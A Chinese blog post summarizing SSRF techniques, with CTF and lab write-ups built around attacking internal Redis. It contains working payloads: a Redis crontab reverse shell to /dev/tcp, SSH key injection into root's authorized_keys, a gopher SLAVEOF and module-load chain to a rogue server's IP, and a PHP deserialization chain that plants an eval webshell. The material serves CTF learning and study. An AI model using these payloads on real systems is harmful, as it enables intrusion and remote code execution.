SSRF总结
8 分钟
一、SSRF成因
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造,由服务端发起请求的一个网络攻击,一般用来在外网探测或攻击内网服务,其影响效果根据服务器用的函数不同,从而造成不同的影响。
- SSRF 形成的原因大都是由于服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
二、SSRF利用
利用:
- 对外网、服务器所在内网、本地进行端口扫描,获取一些服务信息。
- 读取内网的一些文件
- 进行DOS攻击,如持续请求一些Dos文件
- 对内网的的web等应用某些应用或程序进行攻击
经常利用的一些协议:
http://:探测内网主机存活、端口开放情况
gopher://:发送GET或POST请求;攻击内网应用,如FastCGI、Redis
dict://:泄露安装软件版本信息,查看端口,操作内网redis访问等
file://:读取本地文件
常造成利用的一些PHP函数:
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。
fopen():打开一个文件文件或者 URL。
Bypass的一些方式:
- 短网址绕过,短网址生成器。
- 进制转换,如127.0.0.1转十进制2130706433
- @绕过,如http://www.xxx.com@127.0.0.1
- DNS重绑定,https://lock.cmpxchg8b.com/rebinder.html
- 302跳转,访问sudo.cc,自动重定向到127.0.0.1
三、Redis
Redis,key-value高速缓存库,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步,可以随时将数据写回到硬盘中,常可以通过SSRF打redis进行getshell操作。
关于Redis的主从复制:
指的是一台Redis服务器的数据会复制到其他Redis服务器中,数据的复制只能从主服务器到从服务器,在Redis4.0中,可以进行主从复制备份文件,可以开启而已服务,让靶机Redis认为此是Reids服务器,将恶意构造的文件通过主从复制加载到reids中,达到getshell。
Redis的一些利用:
如写定时任务反弹shell:
test
set 1 "\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save
flushall
set 1 'ssh-rsa 密钥 root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
写ssh公钥进/root/.ssh/authorized_keys实现ssh公钥登录
四、[HNCTF 2022 WEEK2]ez_ssrf
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
fsockopen能够使用socket与服务器进行tcp连接,并传输数据,host、port和数据都能定义,存在SSRF
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
五、Weblogic打SSRF
靶机下载地址:Vulnhub-weblogic
- 漏洞点在/uddiexplorer/SearchPublicRegistries.jsp页面operator参数存在SSRF,通过http协议探测可知存在6379redis。
- 直接上payload
http://ip/test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
六、[网鼎杯 2020 玄武组]SSRFMe
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
规定了只能使用http、https、gopher、dict协议,同时需要绕过本地IP的验证,使其进入else,能够进行SSRF,提示访问hint.php,可以使用0.0.0.0等多种方式绕过,通过http请求hint.php
提示redis的pass是root,并且file_put_content()实现死亡输入,可以进行死亡绕过,但是这题考点似乎写入不成功,考点在redis,所以要通过redis进行getshell,因此这里就可以用到主从复制。
Redis伪装服务器的脚本:
https://github.com/xmsec/redis-ssrf
分为rogue-server和ssrf-redis两个文件,前者是伪装服务器,后者是生成payload的。
理论上可以直接使用,只需要更改IP和一些信息即可
更改IP为自己公网IP,更改下面的ip为0.0.0.0绕过限制,但是这里生成的脚本这题里面直接用不了,会解析错误,只能自己一步步来了。
脚本自动生成进行URL解码其实分为三步就是:
gopher://0.0.0.0:6379/_*2
$4
AUTH
$4
root
*3
$7
SLAVEOF
$13
120.79.29.170
$4
6666
*4
$6
CONFIG
$3
SET
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$6
MODULE
$4
LOAD
$11
/tmp/exp.so
*2
$11
system.exec
$14
cat${IFS}/flag
*1
$4
quit
gopher://0.0.0.0:6379/_auth root
slaveof ip port
quit
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
config set dbfilename exp.so
quit
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev ip port
quit
就是将靶机Redis的服务器通过slaveof命令转变成伪造Redis的从属服务器,然后将恶意文件传到tmp目录中,通过加载和运行.so恶意文件进行反弹shell,注意进行url二次编码。
八、[天翼杯 2021]esay_eval
同样是一道关于Redis主从复制从而达到getshell的题目,但是这里跟SSRF不想关,但是也记录一下。
首先进入题目就可以看到一段反序列化源码:
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
很简单的反序列化,可以直接进行getshell
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
$b=new B();
$b->a=new A();
$b->a->code='eval($_POST[1]);';
echo serialize($b);
直接使用蚁剑连接,发现限制了目录,但是有一个swp发现,可以看一下
给出了redis的账号和密码,看一下phpinfo的开放路径,发现开放了/tmp目录,可以尝试下redis进行提权得到flag
使用蚁剑的插件进行redis数据库的连接
蚁剑redis连接插件
然后传入以上的exp.so,进行加载即可。
九、[SWPU 2016]web7
题目源码:
#!/usr/bin/python
# coding:utf8
__author__ = 'niexinming'
import cherrypy
import urllib2
import redis
class web7:
@cherrypy.expose
def index(self):
return "<script> window.location.href='/input';</script>"
@cherrypy.expose
def input(self,url="",submit=""):
file=open("index.html","r").read()
reheaders=""
if cherrypy.request.method=="GET":
reheaders=""
else:
url=cherrypy.request.params["url"]
submit=cherrypy.request.params["submit"]
try:
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
except Exception,e:
reheaders="错误"+str(e)
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
file=file.replace("<?response?>",reheaders)
return file
@cherrypy.expose
def login(self,password="",submit=""):
pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
r = redis.Redis(connection_pool=pool)
re=""
file=open("login.html","r").read()
if cherrypy.request.method=="GET":
re=""
else:
password=cherrypy.request.params["password"]
submit=cherrypy.request.params["submit"]
if r.get("admin")==password:
re=open("flag",'r').readline()
else:
re="Can't find admin:"+password+",fast fast fast....."
file=file.replace("<?response?>",re)
return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
'server.socket_port': 8080,
})
cherrypy.quickstart(web7(),'/')
cherrypy微型Web框架,现在几乎见不到,但是题目逻辑还是比较清晰的,要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers感觉应该是可以利用SSRF来注入redis修改admin的密码的。
七、总结
SSRF的利用方式应该还有很多,最近做的题就这些,以后遇到再一直加上。
~ ~ The End ~ ~
分类标签:Web安全,Web安全
文章标题:SSRF总结
文章链接:https://aiwin.fun/index.php/archives/2302/
最后编辑:2024 年 1 月 4 日 16:57 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
文章标题:SSRF总结
文章链接:https://aiwin.fun/index.php/archives/2302/
最后编辑:2024 年 1 月 4 日 16:57 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)